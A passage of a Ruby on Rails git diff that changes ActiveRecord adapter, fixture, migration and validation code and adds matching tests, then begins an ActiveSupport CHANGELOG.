end
+ def rename_index(table_name, old_name, new_name)
+ if (version[0] == 5 && version[1] >= 7) || version[0] >= 6
+ execute "ALTER TABLE #{quote_table_name(table_name)} RENAME INDEX #{quote_table_name(old_name)} TO #{quote_table_name(new_name)}"
+ else
+ super
+ end
+ end
+
def change_column_default(table_name, column_name, default)
column = column_for(table_name, column_name)
change_column table_name, column_name, column.sql_type, :default => default
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/database_statements.rb b/activerecord/lib/active_record/connection_adapters/postgresql/database_statements.rb
index fa173d13a2..f349c37724 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/database_statements.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/database_statements.rb
@@ -142,7 +142,7 @@ module ActiveRecord
fields.each_with_index do |fname, i|
ftype = result.ftype i
fmod = result.fmod i
- types[fname] = OID::TYPE_MAP.fetch(ftype, fmod) { |oid, mod|
+ types[fname] = type_map.fetch(ftype, fmod) { |oid, mod|
warn "unknown OID: #{fname}(#{oid}) (#{sql})"
OID::Identity.new
}
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid.rb
index 6c5792954f..fae260a921 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/oid.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid.rb
@@ -301,17 +301,15 @@ module ActiveRecord
end
end
- TYPE_MAP = TypeMap.new # :nodoc:
-
- # When the PG adapter connects, the pg_type table is queried. The
+ # When the PG adapter connects, the pg_type table is queried. The
# key of this hash maps to the `typname` column from the table.
- # TYPE_MAP is then dynamically built with oids as the key and type
+ # type_map is then dynamically built with oids as the key and type
# objects as values.
NAMES = Hash.new { |h,k| # :nodoc:
h[k] = OID::Identity.new
}
- # Register an OID type named +name+ with a typcasting object in
+ # Register an OID type named +name+ with a typecasting object in
# +type+. +name+ should correspond to the `typname` column in
# the `pg_type` table.
def self.register_type(name, type)
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb b/activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb
index 5dc70a5ad1..571257f6dd 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb
@@ -172,7 +172,7 @@ module ActiveRecord
def columns(table_name)
# Limit, precision, and scale are all handled by the superclass.
column_definitions(table_name).map do |column_name, type, default, notnull, oid, fmod|
- oid = OID::TYPE_MAP.fetch(oid.to_i, fmod.to_i) {
+ oid = type_map.fetch(oid.to_i, fmod.to_i) {
OID::Identity.new
}
PostgreSQLColumn.new(column_name, default, oid, type, notnull == 'f')
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb b/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb
index adeb57d913..d23a24589c 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb
@@ -565,7 +565,8 @@ module ActiveRecord
raise "Your version of PostgreSQL (#{postgresql_version}) is too old, please upgrade!"
end
- initialize_type_map
+ @type_map = OID::TypeMap.new
+ initialize_type_map(type_map)
@local_tz = execute('SHOW TIME ZONE', 'SCHEMA').first["TimeZone"]
@use_insert_returning = @config.key?(:insert_returning) ? self.class.type_cast_config_to_boolean(@config[:insert_returning]) : true
end
@@ -738,39 +739,56 @@ module ActiveRecord
private
+ def type_map
+ @type_map
+ end
+
def reload_type_map
- OID::TYPE_MAP.clear
- initialize_type_map
+ type_map.clear
+ initialize_type_map(type_map)
end
- def initialize_type_map
+ def add_oid(row, records_by_oid, type_map)
+ return type_map if type_map.key? row['type_elem'].to_i
+
+ if OID.registered_type? row['typname']
+ # this composite type is explicitly registered
+ vector = OID::NAMES[row['typname']]
+ else
+ # use the default for composite types
+ unless type_map.key? row['typelem'].to_i
+ add_oid records_by_oid[row['typelem']], records_by_oid, type_map
+ end
+
+ vector = OID::Vector.new row['typdelim'], type_map[row['typelem'].to_i]
+ end
+
+ type_map[row['oid'].to_i] = vector
+ type_map
+ end
+
+ def initialize_type_map(type_map)
result = execute('SELECT oid, typname, typelem, typdelim, typinput FROM pg_type', 'SCHEMA')
leaves, nodes = result.partition { |row| row['typelem'] == '0' }
# populate the leaf nodes
leaves.find_all { |row| OID.registered_type? row['typname'] }.each do |row|
- OID::TYPE_MAP[row['oid'].to_i] = OID::NAMES[row['typname']]
+ type_map[row['oid'].to_i] = OID::NAMES[row['typname']]
end
+ records_by_oid = result.group_by { |row| row['oid'] }
+
arrays, nodes = nodes.partition { |row| row['typinput'] == 'array_in' }
# populate composite types
- nodes.find_all { |row| OID::TYPE_MAP.key? row['typelem'].to_i }.each do |row|
- if OID.registered_type? row['typname']
- # this composite type is explicitly registered
- vector = OID::NAMES[row['typname']]
- else
- # use the default for composite types
- vector = OID::Vector.new row['typdelim'], OID::TYPE_MAP[row['typelem'].to_i]
- end
-
- OID::TYPE_MAP[row['oid'].to_i] = vector
+ nodes.each do |row|
+ add_oid row, records_by_oid, type_map
end
# populate array types
- arrays.find_all { |row| OID::TYPE_MAP.key? row['typelem'].to_i }.each do |row|
- array = OID::Array.new OID::TYPE_MAP[row['typelem'].to_i]
- OID::TYPE_MAP[row['oid'].to_i] = array
+ arrays.find_all { |row| type_map.key? row['typelem'].to_i }.each do |row|
+ array = OID::Array.new type_map[row['typelem'].to_i]
+ type_map[row['oid'].to_i] = array
end
end
diff --git a/activerecord/lib/active_record/core.rb b/activerecord/lib/active_record/core.rb
index 96b5686ae0..8808ad5a4c 100644
--- a/activerecord/lib/active_record/core.rb
+++ b/activerecord/lib/active_record/core.rb
@@ -126,7 +126,7 @@ module ActiveRecord
# Returns an instance of <tt>Arel::Table</tt> loaded with the current table name.
#
# class Post < ActiveRecord::Base
- # scope :published_and_commented, published.and(self.arel_table[:comments_count].gt(0))
+ # scope :published_and_commented, -> { published.and(self.arel_table[:comments_count].gt(0)) }
# end
def arel_table
@arel_table ||= Arel::Table.new(table_name, arel_engine)
diff --git a/activerecord/lib/active_record/enum.rb b/activerecord/lib/active_record/enum.rb
index 5fcc0382d8..b42039e722 100644
--- a/activerecord/lib/active_record/enum.rb
+++ b/activerecord/lib/active_record/enum.rb
@@ -26,12 +26,23 @@ module ActiveRecord
#
# Good practice is to let the first declared status be the default.
#
- # Finally, it's also possible to explicitly map the relation between attribute and database integer:
+ # Finally, it's also possible to explicitly map the relation between attribute and
+ # database integer with a +Hash+:
#
# class Conversation < ActiveRecord::Base
# enum status: { active: 0, archived: 1 }
# end
#
+ # Note that when an +Array+ is used, the implicit mapping from the values to database
+ # integers is derived from the order the values appear in the array. In the example,
+ # <tt>:active</tt> is mapped to +0+ as it's the first elemet, and <tt>:archived</tt>
+ # is mapped to +1+. In general, the +i+-th element is mapped to <tt>i-1</tt> in the
+ # database.
+ #
+ # Therefore, once a value is added to the enum array, its position in the array must
+ # be maintained, and new values should only be added to the end of the array. To
+ # remove unused values, the explicit +Hash+ syntax should be used.
+ #
# In rare circumstances you might need to access the mapping directly.
# The mappings are exposed through a constant with the attributes name:
#
@@ -77,12 +88,13 @@ module ActiveRecord
end
end
- def _enum_methods_module
- @_enum_methods_module ||= begin
- mod = Module.new
- include mod
- mod
+ private
+ def _enum_methods_module
+ @_enum_methods_module ||= begin
+ mod = Module.new
+ include mod
+ mod
+ end
end
- end
end
end
diff --git a/activerecord/lib/active_record/fixture_set/file.rb b/activerecord/lib/active_record/fixture_set/file.rb
index fbd7a4d891..8132310c91 100644
--- a/activerecord/lib/active_record/fixture_set/file.rb
+++ b/activerecord/lib/active_record/fixture_set/file.rb
@@ -38,7 +38,8 @@ module ActiveRecord
end
def render(content)
- ERB.new(content).result
+ context = ActiveRecord::FixtureSet::RenderContext.create_subclass.new
+ ERB.new(content).result(context.get_binding)
end
# Validate our unmarshalled data.
diff --git a/activerecord/lib/active_record/fixtures.rb b/activerecord/lib/active_record/fixtures.rb
index 8601414209..d241788a9b 100644
--- a/activerecord/lib/active_record/fixtures.rb
+++ b/activerecord/lib/active_record/fixtures.rb
@@ -119,6 +119,23 @@ module ActiveRecord
# perhaps you should reexamine whether your application is properly testable. Hence, dynamic values
# in fixtures are to be considered a code smell.
#
+ # Helper methods defined in a fixture will not be available in other fixtures, to prevent against
+ # unwanted inter-test dependencies. Methods used by multiple fixtures should be defined in a module
+ # that is included in <tt>ActiveRecord::FixtureSet.context_class</tt>.
+ #
+ # - define a helper method in `test_helper.rb`
+ # class FixtureFileHelpers
+ # def file_sha(path)
+ # Digest::SHA2.hexdigest(File.read(Rails.root.join('test/fixtures', path)))
+ # end
+ # end
+ # ActiveRecord::FixtureSet.context_class.send :include, FixtureFileHelpers
+ #
+ # - use the helper method in a fixture
+ # photo:
+ # name: kitten.png
+ # sha: <%= file_sha 'files/kitten.png' %>
+ #
# = Transactional Fixtures
#
# Test cases can use begin+rollback to isolate their changes to the database instead of having to
@@ -529,6 +546,11 @@ module ActiveRecord
Zlib.crc32(label.to_s) % MAX_ID
end
+ # Superclass for the evaluation contexts used by ERB fixtures.
+ def self.context_class
+ @context_class ||= Class.new
+ end
+
attr_reader :table_name, :name, :fixtures, :model_class, :config
def initialize(connection, name, class_name, path, config = ActiveRecord::Base)
@@ -989,3 +1011,13 @@ module ActiveRecord
end
end
end
+
+class ActiveRecord::FixtureSet::RenderContext # :nodoc:
+ def self.create_subclass
+ Class.new ActiveRecord::FixtureSet.context_class do
+ def get_binding
+ binding()
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/migration.rb b/activerecord/lib/active_record/migration.rb
index a4247fb6f4..7d7e97e6c9 100644
--- a/activerecord/lib/active_record/migration.rb
+++ b/activerecord/lib/active_record/migration.rb
@@ -1,41 +1,48 @@
-require "active_support/core_ext/class/attribute_accessors"
+require "active_support/core_ext/module/attribute_accessors"
require 'set'
module ActiveRecord
+ class MigrationError < ActiveRecordError#:nodoc:
+ def initialize(message = nil)
+ message = "\n\n#{message}\n\n" if message
+ super
+ end
+ end
+
# Exception that can be raised to stop migrations from going backwards.
- class IrreversibleMigration < ActiveRecordError
+ class IrreversibleMigration < MigrationError
end
- class DuplicateMigrationVersionError < ActiveRecordError#:nodoc:
+ class DuplicateMigrationVersionError < MigrationError#:nodoc:
def initialize(version)
super("Multiple migrations have the version number #{version}")
end
end
- class DuplicateMigrationNameError < ActiveRecordError#:nodoc:
+ class DuplicateMigrationNameError < MigrationError#:nodoc:
def initialize(name)
super("Multiple migrations have the name #{name}")
end
end
- class UnknownMigrationVersionError < ActiveRecordError #:nodoc:
+ class UnknownMigrationVersionError < MigrationError #:nodoc:
def initialize(version)
super("No migration with version number #{version}")
end
end
- class IllegalMigrationNameError < ActiveRecordError#:nodoc:
+ class IllegalMigrationNameError < MigrationError#:nodoc:
def initialize(name)
super("Illegal name for migration file: #{name}\n\t(only lower case letters, numbers, and '_' allowed)")
end
end
- class PendingMigrationError < ActiveRecordError#:nodoc:
+ class PendingMigrationError < MigrationError#:nodoc:
def initialize
if defined?(Rails)
- super("Migrations are pending; run 'bin/rake db:migrate RAILS_ENV=#{::Rails.env}' to resolve this issue.")
+ super("Migrations are pending. To resolve this issue, run:\n\n\tbin/rake db:migrate RAILS_ENV=#{::Rails.env}")
else
- super("Migrations are pending; run 'bin/rake db:migrate' to resolve this issue.")
+ super("Migrations are pending. To resolve this issue, run:\n\n\tbin/rake db:migrate")
end
end
end
diff --git a/activerecord/lib/active_record/persistence.rb b/activerecord/lib/active_record/persistence.rb
index a73a140ef1..35fbad466e 100644
--- a/activerecord/lib/active_record/persistence.rb
+++ b/activerecord/lib/active_record/persistence.rb
@@ -10,9 +10,6 @@ module ActiveRecord
# The +attributes+ parameter can be either a Hash or an Array of Hashes. These Hashes describe the
# attributes on the objects that are to be created.
#
- # +create+ respects mass-assignment security and accepts either +:as+ or +:without_protection+ options
- # in the +options+ parameter.
- #
# ==== Examples
# # Create a single new object
# User.create(first_name: 'Jamie')
diff --git a/activerecord/lib/active_record/relation/finder_methods.rb b/activerecord/lib/active_record/relation/finder_methods.rb
index d91d6367a3..3963f2b3e0 100644
--- a/activerecord/lib/active_record/relation/finder_methods.rb
+++ b/activerecord/lib/active_record/relation/finder_methods.rb
@@ -384,7 +384,7 @@ module ActiveRecord
@records.last
else
@last ||=
- if offset_value || limit_value
+ if limit_value
to_a.last
else
reverse_order.limit(1).to_a.first
diff --git a/activerecord/lib/active_record/validations/uniqueness.rb b/activerecord/lib/active_record/validations/uniqueness.rb
index 38f37f5c8a..7ebe9dfec0 100644
--- a/activerecord/lib/active_record/validations/uniqueness.rb
+++ b/activerecord/lib/active_record/validations/uniqueness.rb
@@ -51,7 +51,15 @@ module ActiveRecord
value = value.attributes[reflection.primary_key_column.name] unless value.nil?
end
- column = klass.columns_hash[attribute.to_s]
+ attribute_name = attribute.to_s
+
+ # the attribute may be an aliased attribute
+ if klass.attribute_aliases[attribute_name]
+ attribute = klass.attribute_aliases[attribute_name]
+ attribute_name = attribute.to_s
+ end
+
+ column = klass.columns_hash[attribute_name]
value = klass.connection.type_cast(value, column)
value = value.to_s[0, column.limit] if value && column.limit && column.text?
@@ -166,11 +174,11 @@ module ActiveRecord
# WHERE title = 'My Post' |
# |
# | # User 2 does the same thing and also
- # | # infers that his title is unique.
+ # | # infers that their title is unique.
# | SELECT * FROM comments
# | WHERE title = 'My Post'
# |
- # # User 1 inserts his comment. |
+ # # User 1 inserts their comment. |
# INSERT INTO comments |
# (title, content) VALUES |
# ('My Post', 'hi!') |
@@ -196,7 +204,7 @@ module ActiveRecord
# exception. You can either choose to let this error propagate (which
# will result in the default Rails exception page being shown), or you
# can catch it and restart the transaction (e.g. by telling the user
- # that the title already exists, and asking him to re-enter the title).
+ # that the title already exists, and asking them to re-enter the title).
# This technique is also known as
# {optimistic concurrency control}[http://en.wikipedia.org/wiki/Optimistic_concurrency_control].
#
diff --git a/activerecord/test/cases/adapter_test.rb b/activerecord/test/cases/adapter_test.rb
index 595edc6263..34be68a97f 100644
--- a/activerecord/test/cases/adapter_test.rb
+++ b/activerecord/test/cases/adapter_test.rb
@@ -178,6 +178,10 @@ module ActiveRecord
result = @connection.select_all "SELECT * FROM posts"
assert result.is_a?(ActiveRecord::Result)
end
+
+ test "type_to_sql returns a String for unmapped types" do
+ assert_equal "special_db_type", @connection.type_to_sql(:special_db_type)
+ end
end
class AdapterTestWithoutTransaction < ActiveRecord::TestCase
diff --git a/activerecord/test/cases/adapters/oracle/synonym_test.rb b/activerecord/test/cases/adapters/oracle/synonym_test.rb
deleted file mode 100644
index b9a422a6ca..0000000000
--- a/activerecord/test/cases/adapters/oracle/synonym_test.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-require "cases/helper"
-require 'models/topic'
-require 'models/subject'
-
-# confirm that synonyms work just like tables; in this case
-# the "subjects" table in Oracle (defined in oci.sql) is just
-# a synonym to the "topics" table
-
-class TestOracleSynonym < ActiveRecord::TestCase
-
- def test_oracle_synonym
- topic = Topic.new
- subject = Subject.new
- assert_equal(topic.attributes, subject.attributes)
- end
-
-end
diff --git a/activerecord/test/cases/associations/belongs_to_associations_test.rb b/activerecord/test/cases/associations/belongs_to_associations_test.rb
index a79f145e31..7c913bc78b 100644
--- a/activerecord/test/cases/associations/belongs_to_associations_test.rb
+++ b/activerecord/test/cases/associations/belongs_to_associations_test.rb
@@ -619,16 +619,11 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
assert_equal [author_address.id], AuthorAddress.destroyed_author_address_ids
end
- def test_invalid_belongs_to_dependent_option_nullify_raises_exception
- assert_raise ArgumentError do
+ def test_belongs_to_invalid_dependent_option_raises_exception
+ error = assert_raise ArgumentError do
Class.new(Author).belongs_to :special_author_address, :dependent => :nullify
end
- end
-
- def test_invalid_belongs_to_dependent_option_restrict_raises_exception
- assert_raise ArgumentError do
- Class.new(Author).belongs_to :special_author_address, :dependent => :restrict
- end
+ assert_equal error.message, 'The :dependent option must be one of [:destroy, :delete], but is :nullify'
end
def test_attributes_are_being_set_when_initialized_from_belongs_to_association_with_where_clause
diff --git a/activerecord/test/cases/associations/has_one_associations_test.rb b/activerecord/test/cases/associations/has_one_associations_test.rb
index 1f78c73f71..5a41461edf 100644
--- a/activerecord/test/cases/associations/has_one_associations_test.rb
+++ b/activerecord/test/cases/associations/has_one_associations_test.rb
@@ -549,4 +549,12 @@ class HasOneAssociationsTest < ActiveRecord::TestCase
assert_not_nil author.post
assert_equal author.post, post
end
+
+ def test_has_one_relationship_cannot_have_a_counter_cache
+ assert_raise(ArgumentError) do
+ Class.new(ActiveRecord::Base) do
+ has_one :thing, counter_cache: true
+ end
+ end
+ end
end
diff --git a/activerecord/test/cases/associations/has_one_through_associations_test.rb b/activerecord/test/cases/associations/has_one_through_associations_test.rb
index f2723f2e18..a2725441b3 100644
--- a/activerecord/test/cases/associations/has_one_through_associations_test.rb
+++ b/activerecord/test/cases/associations/has_one_through_associations_test.rb
@@ -315,4 +315,12 @@ class HasOneThroughAssociationsTest < ActiveRecord::TestCase
def test_has_one_through_with_custom_select_on_join_model_default_scope
assert_equal clubs(:boring_club), members(:groucho).selected_club
end
+
+ def test_has_one_through_relationship_cannot_have_a_counter_cache
+ assert_raise(ArgumentError) do
+ Class.new(ActiveRecord::Base) do
+ has_one :thing, through: :other_thing, counter_cache: true
+ end
+ end
+ end
end
diff --git a/activerecord/test/cases/attribute_methods_test.rb b/activerecord/test/cases/attribute_methods_test.rb
index 9c66ed354e..6c581a432f 100644
--- a/activerecord/test/cases/attribute_methods_test.rb
+++ b/activerecord/test/cases/attribute_methods_test.rb
@@ -767,8 +767,7 @@ class AttributeMethodsTest < ActiveRecord::TestCase
# that by defining a 'foo' method in the generated methods module for B.
# (That module will be inserted between the two, e.g. [B, <GeneratedAttributes>, A].)
def test_inherited_custom_accessors
- klass = Class.new(ActiveRecord::Base) do
- self.table_name = "topics"
+ klass = new_topic_like_ar_class do
self.abstract_class = true
def title; "omg"; end
def title=(val); self.author_name = val; end
@@ -783,8 +782,40 @@ class AttributeMethodsTest < ActiveRecord::TestCase
assert_equal "lol", topic.author_name
end
+ def test_on_the_fly_super_invokable_generated_attribute_methods_via_method_missing
+ klass = new_topic_like_ar_class do
+ def title
+ super + '!'
+ end
+ end
+
+ real_topic = topics(:first)
+ assert_equal real_topic.title + '!', klass.find(real_topic.id).title
+ end
+
+ def test_on_the_fly_super_invokable_generated_predicate_attribute_methods_via_method_missing
+ klass = new_topic_like_ar_class do
+ def title?
+ !super
+ end
+ end
+
+ real_topic = topics(:first)
+ assert_equal !real_topic.title?, klass.find(real_topic.id).title?
+ end
+
private
+ def new_topic_like_ar_class(&block)
+ klass = Class.new(ActiveRecord::Base) do
+ self.table_name = 'topics'
+ class_eval(&block)
+ end
+
+ assert_empty klass.generated_attribute_methods.instance_methods(false)
+ klass
+ end
+
def cached_columns
Topic.columns.map(&:name) - Topic.serialized_attributes.keys
end
diff --git a/activerecord/test/cases/dirty_test.rb b/activerecord/test/cases/dirty_test.rb
index 9d7f57bf85..df4183c065 100644
--- a/activerecord/test/cases/dirty_test.rb
+++ b/activerecord/test/cases/dirty_test.rb
@@ -584,6 +584,14 @@ class DirtyTest < ActiveRecord::TestCase
end
end
+ def test_datetime_attribute_doesnt_change_if_zone_is_modified_in_string
+ time_in_paris = Time.utc(2014, 1, 1, 12, 0, 0).in_time_zone('Paris')
+ pirate = Pirate.create!(:catchphrase => 'rrrr', :created_on => time_in_paris)
+
+ pirate.created_on = pirate.created_on.in_time_zone('Tokyo').to_s
+ assert !pirate.created_on_changed?
+ end
+
test "partial insert" do
with_partial_writes Person do
jon = nil
diff --git a/activerecord/test/cases/finder_test.rb b/activerecord/test/cases/finder_test.rb
index 735f804184..5e8f1c851f 100644
--- a/activerecord/test/cases/finder_test.rb
+++ b/activerecord/test/cases/finder_test.rb
@@ -720,6 +720,15 @@ class FinderTest < ActiveRecord::TestCase
assert_raise(ArgumentError) { Topic.find_by_title_and_author_name("The First Topic") }
end
+ def test_find_last_with_offset
+ devs = Developer.order('id')
+
+ assert_equal devs[2], Developer.offset(2).first
+ assert_equal devs[-3], Developer.offset(2).last
+ assert_equal devs[-3], Developer.offset(2).last
+ assert_equal devs[-3], Developer.offset(2).order('id DESC').first
+ end
+
def test_find_by_nil_attribute
topic = Topic.find_by_last_read nil
assert_not_nil topic
@@ -837,8 +846,6 @@ class FinderTest < ActiveRecord::TestCase
end
def test_with_limiting_with_custom_select
- skip 'broken test' if current_adapter?(:MysqlAdapter)
-
posts = Post.references(:authors).merge(
:includes => :author, :select => ' posts.*, authors.id as "author_id"',
:limit => 3, :order => 'posts.id'
diff --git a/activerecord/test/cases/fixture_set/file_test.rb b/activerecord/test/cases/fixture_set/file_test.rb
index a029fedbd3..92efa8aca7 100644
--- a/activerecord/test/cases/fixture_set/file_test.rb
+++ b/activerecord/test/cases/fixture_set/file_test.rb
@@ -68,6 +68,61 @@ module ActiveRecord
end
end
+ def test_render_context_helper
+ ActiveRecord::FixtureSet.context_class.class_eval do
+ def fixture_helper
+ "Fixture helper"
+ end
+ end
+ yaml = "one:\n name: <%= fixture_helper %>\n"
+ tmp_yaml ['curious', 'yml'], yaml do |t|
+ golden =
+ [["one", {"name" => "Fixture helper"}]]
+ assert_equal golden, File.open(t.path) { |fh| fh.to_a }
+ end
+ ActiveRecord::FixtureSet.context_class.class_eval do
+ remove_method :fixture_helper
+ end
+ end
+
+ def test_render_context_lookup_scope
+ yaml = <<END
+one:
+ ActiveRecord: <%= defined? ActiveRecord %>
+ ActiveRecord_FixtureSet: <%= defined? ActiveRecord::FixtureSet %>
+ FixtureSet: <%= defined? FixtureSet %>
+ ActiveRecord_FixtureSet_File: <%= defined? ActiveRecord::FixtureSet::File %>
+ File: <%= File.name %>
+END
+
+ golden = [['one', {
+ 'ActiveRecord' => 'constant',
+ 'ActiveRecord_FixtureSet' => 'constant',
+ 'FixtureSet' => nil,
+ 'ActiveRecord_FixtureSet_File' => 'constant',
+ 'File' => 'File'
+ }]]
+
+ tmp_yaml ['curious', 'yml'], yaml do |t|
+ assert_equal golden, File.open(t.path) { |fh| fh.to_a }
+ end
+ end
+
+ # Make sure that each fixture gets its own rendering context so that
+ # fixtures are independent.
+ def test_independent_render_contexts
+ yaml1 = "<% def leaked_method; 'leak'; end %>\n"
+ yaml2 = "one:\n name: <%= leaked_method %>\n"
+ tmp_yaml ['leaky', 'yml'], yaml1 do |t1|
+ tmp_yaml ['curious', 'yml'], yaml2 do |t2|
+ File.open(t1.path) { |fh| fh.to_a }
+ assert_raises(NameError) do
+ File.open(t2.path) { |fh| fh.to_a }
+ end
+ end
+ end
+ end
+
private
def tmp_yaml(name, contents)
t = Tempfile.new name
diff --git a/activerecord/test/cases/query_cache_test.rb b/activerecord/test/cases/query_cache_test.rb
index 136fda664c..5566563116 100644
--- a/activerecord/test/cases/query_cache_test.rb
+++ b/activerecord/test/cases/query_cache_test.rb
@@ -134,6 +134,15 @@ class QueryCacheTest < ActiveRecord::TestCase
end
end
+ def test_find_queries_with_multi_cache_blocks
+ Task.cache do
+ Task.cache do
+ assert_queries(2) { Task.find(1); Task.find(2) }
+ end
+ assert_queries(0) { Task.find(1); Task.find(1); Task.find(2) }
+ end
+ end
+
def test_count_queries_with_cache
Task.cache do
assert_queries(1) { Task.count; Task.count }
diff --git a/activerecord/test/cases/scoping/default_scoping_test.rb b/activerecord/test/cases/scoping/default_scoping_test.rb
index 11dd32bfb8..71754cf0a2 100644
--- a/activerecord/test/cases/scoping/default_scoping_test.rb
+++ b/activerecord/test/cases/scoping/default_scoping_test.rb
@@ -178,7 +178,7 @@ class DefaultScopingTest < ActiveRecord::TestCase
def test_unscope_select
expected = Developer.order('salary ASC').collect { |dev| dev.name }
- received = Developer.order('salary DESC').reverse_order.select(:name => "Jamis").unscope(:select).collect { |dev| dev.name }
+ received = Developer.order('salary DESC').reverse_order.select(:name).unscope(:select).collect { |dev| dev.name }
assert_equal expected, received
expected_2 = Developer.all.collect { |dev| dev.id }
diff --git a/activerecord/test/cases/timestamp_test.rb b/activerecord/test/cases/timestamp_test.rb
index 2953b2b2be..717e0e1866 100644
--- a/activerecord/test/cases/timestamp_test.rb
+++ b/activerecord/test/cases/timestamp_test.rb
@@ -272,36 +272,62 @@ class TimestampTest < ActiveRecord::TestCase
assert_not_equal time, old_pet.updated_at
end
- def test_changing_parent_of_a_record_touches_both_new_and_old_polymorphic_parent_record
- klass = Class.new(ActiveRecord::Base) do
- def self.name; 'Toy'; end
+ def test_changing_parent_of_a_record_touches_both_new_and_old_polymorphic_parent_record_changes_within_same_class
+ car_class = Class.new(ActiveRecord::Base) do
+ def self.name; 'Car'; end
end
- wheel_klass = Class.new(ActiveRecord::Base) do
+ wheel_class = Class.new(ActiveRecord::Base) do
def self.name; 'Wheel'; end
belongs_to :wheelable, :polymorphic => true, :touch => true
end
- toy1 = klass.find(1)
- toy2 = klass.find(2)
+ car1 = car_class.find(1)
+ car2 = car_class.find(2)
- wheel = wheel_klass.new
- wheel.wheelable = toy1
- wheel.save!
+ wheel = wheel_class.create!(wheelable: car1)
time = 3.days.ago.at_beginning_of_hour
- toy1.update_columns(updated_at: time)
- toy2.update_columns(updated_at: time)
+ car1.update_columns(updated_at: time)
+ car2.update_columns(updated_at: time)
- wheel.wheelable = toy2
+ wheel.wheelable = car2
wheel.save!
- toy1.reload
- toy2.reload
+ assert_not_equal time, car1.reload.updated_at
+ assert_not_equal time, car2.reload.updated_at
+ end
+
+ def test_changing_parent_of_a_record_touches_both_new_and_old_polymorphic_parent_record_changes_with_other_class
+ car_class = Class.new(ActiveRecord::Base) do
+ def self.name; 'Car'; end
+ end
+
+ toy_class = Class.new(ActiveRecord::Base) do
+ def self.name; 'Toy'; end
+ end
+
+ wheel_class = Class.new(ActiveRecord::Base) do
+ def self.name; 'Wheel'; end
+ belongs_to :wheelable, :polymorphic => true, :touch => true
+ end
+
+ car = car_class.find(1)
+ toy = toy_class.find(3)
+
+ wheel = wheel_class.create!(wheelable: car)
+
+ time = 3.days.ago.at_beginning_of_hour
+
+ car.update_columns(updated_at: time)
+ toy.update_columns(updated_at: time)
+
+ wheel.wheelable = toy
+ wheel.save!
- assert_not_equal time, toy1.updated_at
- assert_not_equal time, toy2.updated_at
+ assert_not_equal time, car.reload.updated_at
+ assert_not_equal time, toy.reload.updated_at
end
def test_clearing_association_touches_the_old_record
diff --git a/activerecord/test/cases/validations/uniqueness_validation_test.rb b/activerecord/test/cases/validations/uniqueness_validation_test.rb
index 71cb9d7b1e..74c696c858 100644
--- a/activerecord/test/cases/validations/uniqueness_validation_test.rb
+++ b/activerecord/test/cases/validations/uniqueness_validation_test.rb
@@ -63,6 +63,14 @@ class UniquenessValidationTest < ActiveRecord::TestCase
assert t2.save, "Should now save t2 as unique"
end
+ def test_validate_uniqueness_with_alias_attribute
+ Topic.alias_attribute :new_title, :title
+ Topic.validates_uniqueness_of(:new_title)
+
+ topic = Topic.new(new_title: 'abc')
+ assert topic.valid?
+ end
+
def test_validates_uniqueness_with_nil_value
Topic.validates_uniqueness_of(:title)
diff --git a/activerecord/test/cases/validations_test.rb b/activerecord/test/cases/validations_test.rb
index 3f587d177b..5f55696c1d 100644
--- a/activerecord/test/cases/validations_test.rb
+++ b/activerecord/test/cases/validations_test.rb
@@ -93,7 +93,7 @@ class ValidationsTest < ActiveRecord::TestCase
assert reply.save(:validate => false)
end
- def test_validates_acceptance_of_with_non_existant_table
+ def test_validates_acceptance_of_with_non_existent_table
Object.const_set :IncorporealModel, Class.new(ActiveRecord::Base)
assert_nothing_raised ActiveRecord::StatementInvalid do
diff --git a/activerecord/test/schema/oracle_specific_schema.rb b/activerecord/test/schema/oracle_specific_schema.rb
index 3314687445..a7817772f4 100644
--- a/activerecord/test/schema/oracle_specific_schema.rb
+++ b/activerecord/test/schema/oracle_specific_schema.rb
@@ -3,7 +3,6 @@ ActiveRecord::Schema.define do
execute "drop table test_oracle_defaults" rescue nil
execute "drop sequence test_oracle_defaults_seq" rescue nil
execute "drop sequence companies_nonstd_seq" rescue nil
- execute "drop synonym subjects" rescue nil
execute "drop table defaults" rescue nil
execute "drop sequence defaults_seq" rescue nil
@@ -22,8 +21,6 @@ create sequence test_oracle_defaults_seq minvalue 10000
execute "create sequence companies_nonstd_seq minvalue 10000"
- execute "create synonym subjects for topics"
-
execute <<-SQL
CREATE TABLE defaults (
id integer not null,
diff --git a/activesupport/CHANGELOG.md b/activesupport/CHANGELOG.md
index 104b5eafa1..d23b598144 100644
--- a/activesupport/CHANGELOG.md
+++ b/activesupport/CHANGELOG.md
@@ -1,8 +1,76 @@
+* Fix file descriptor being leaked on each call to `Kernel.silence_stream`
+
+ *Mario Visic*
+
+* Ensure `config.i18n.enforce_available_locales` is set before any other
+ configuration option.
+
+ *Yves Senn*
+
+* Added `Date#all_week/month/quarter/year` for generating date ranges.
+
+ *Dmitriy Meremyanin*
+
+* Add `Time.zone.yesterday` and `Time.zone.tomorrow`. These follow the
+ behavior of Ruby's `Date.yesterday` and `Date.tomorrow` but return localized
+ versions, similar to how `Time.zone.today` has returned a localized version
+ of `Date.today`.
+
+ *Colin Bartlett*
+
+* Show valid keys when `assert_valid_keys` raises an exception, and show the
+ wrong value as it was entered.
+
+ *Gonzalo Rodríguez-Baltanás Díaz*
+
+* Both `cattr_*` and `mattr_*` method definitions now live in `active_support/core_ext/module/attribute_accessors`.
+
+ Requires to `active_support/core_ext/class/attribute_accessors` are
+ deprecated and will be removed in Ruby on Rails 4.2.
+
+ *Genadi Samokovarov*
+
